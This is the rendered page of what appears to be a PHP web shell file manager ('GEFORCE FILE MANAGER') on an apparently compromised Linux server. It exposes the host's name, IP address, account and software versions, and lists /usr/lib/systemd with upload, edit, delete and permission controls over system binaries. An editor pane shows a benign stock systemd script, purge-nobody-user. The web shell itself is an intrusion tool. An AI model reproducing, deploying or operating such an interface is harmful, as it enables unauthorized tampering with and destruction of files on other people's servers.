[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib
/
systemd
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 boot
SET
[ DEL ]
📁 catalog
SET
[ DEL ]
📁 network
SET
[ DEL ]
📁 ntp-units.d
SET
[ DEL ]
📁 portable
SET
[ DEL ]
📁 system
SET
[ DEL ]
📁 system-generators
SET
[ DEL ]
📁 system-preset
SET
[ DEL ]
📁 system-shutdown
SET
[ DEL ]
📁 system-sleep
SET
[ DEL ]
📁 user
SET
[ DEL ]
📁 user-environment-generators
SET
[ DEL ]
📁 user-generators
SET
[ DEL ]
📁 user-preset
SET
[ DEL ]
📄 libsystemd-shared-239.so
2,765,448 B
SET
[ EDIT ]
|
[ DEL ]
📄 portablectl
37,888 B
SET
[ EDIT ]
|
[ DEL ]
📄 purge-nobody-user
2,351 B
SET
[ EDIT ]
|
[ DEL ]
📄 resolv.conf
678 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd
1,613,672 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-ac-power
12,160 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-backlight
25,336 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-binfmt
17,096 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-cgroups-agent
12,304 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-coredump
62,640 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-cryptsetup
29,440 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-dissect
16,408 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-export
42,168 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-fsck
25,328 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-growfs
20,928 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-hibernate-resume
12,296 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-hostnamed
29,608 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-initctl
20,928 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-journald
158,112 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-localed
50,360 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-logind
271,672 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-makefs
12,712 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-modules-load
20,912 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-portabled
92,072 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-pstore
21,384 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-quotacheck
12,592 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-random-seed
16,392 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-remount-fs
25,128 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-reply-password
12,296 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-resolved
463,632 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-rfkill
25,344 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-shutdown
62,664 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-sleep
21,264 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-socket-proxyd
25,144 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-sulogin-shell
16,400 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-sysctl
21,272 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-sysv-install
46,192 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-timedated
37,840 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-udevd
418,352 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-update-done
12,728 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-update-utmp
16,400 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-user-runtime-dir
251,008 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-user-sessions
12,144 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-vconsole-setup
20,960 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-veritysetup
12,296 B
SET
[ EDIT ]
|
[ DEL ]
📄 systemd-volatile-root
12,296 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: purge-nobody-user
#!/bin/bash -eu if [ $UID -ne 0 ]; then echo "WARNING: This script needs to run as root to be effective" exit 1 fi export SYSTEMD_NSS_BYPASS_SYNTHETIC=1 if [ "${1:-}" = "--ignore-journal" ]; then shift ignore_journal=1 else ignore_journal=0 fi echo "Checking processes..." if ps h -u 99 | grep .; then echo "ERROR: ps reports processes with UID 99!" exit 2 fi echo "... not found" echo "Checking UTMP..." if w -h 199 | grep . ; then echo "ERROR: w reports UID 99 as active!" exit 2 fi if w -h nobody | grep . ; then echo "ERROR: w reports user nobody as active!" exit 2 fi echo "... not found" echo "Checking the journal..." if [ "$ignore_journal" = 0 ] && journalctl -q -b -n10 _UID=99 | grep . ; then echo "ERROR: journalctl reports messages from UID 99 in current boot!" exit 2 fi echo "... not found" echo "Looking for files in /etc, /run, /tmp, and /var..." if find /etc /run /tmp /var -uid 99 -print | grep -m 10 . ; then echo "ERROR: found files belonging to UID 99" exit 2 fi echo "... not found" echo "Checking if nobody is defined correctly..." if getent passwd nobody | grep '^nobody:[x*]:65534:65534:.*:/:/sbin/nologin'; then echo "OK, nothing to do." exit 0 else echo "NOTICE: User nobody is not defined correctly" fi echo "Checking if nfsnobody or something else is using the uid..." if getent passwd 65534 | grep . ; then echo "NOTICE: will have to remove this user" else echo "... not found" fi if [ "${1:-}" = "-x" ]; then if getent passwd nobody >/dev/null; then # this will remove both the user and the group. ( set -x userdel nobody ) fi if getent passwd 65534 >/dev/null; then # Make sure the uid is unused. This should free gid too. name="$(getent passwd 65534 | cut -d: -f1)" ( set -x userdel "$name" ) fi if grep -qE '^(passwd|group):.*\bsss\b' /etc/nsswitch.conf; then echo "Sleeping, so sss can catch up" sleep 3 fi if getent group 65534; then # Make sure the gid is unused, even if uid wasn't. name="$(getent group 65534 | cut -d: -f1)" ( set -x groupdel "$name" ) fi # systemd-sysusers uses the same gid and uid ( set -x systemd-sysusers --inline 'u nobody 65534 "Kernel Overflow User" / /sbin/nologin' ) else echo "Pass '-x' to perform changes" fi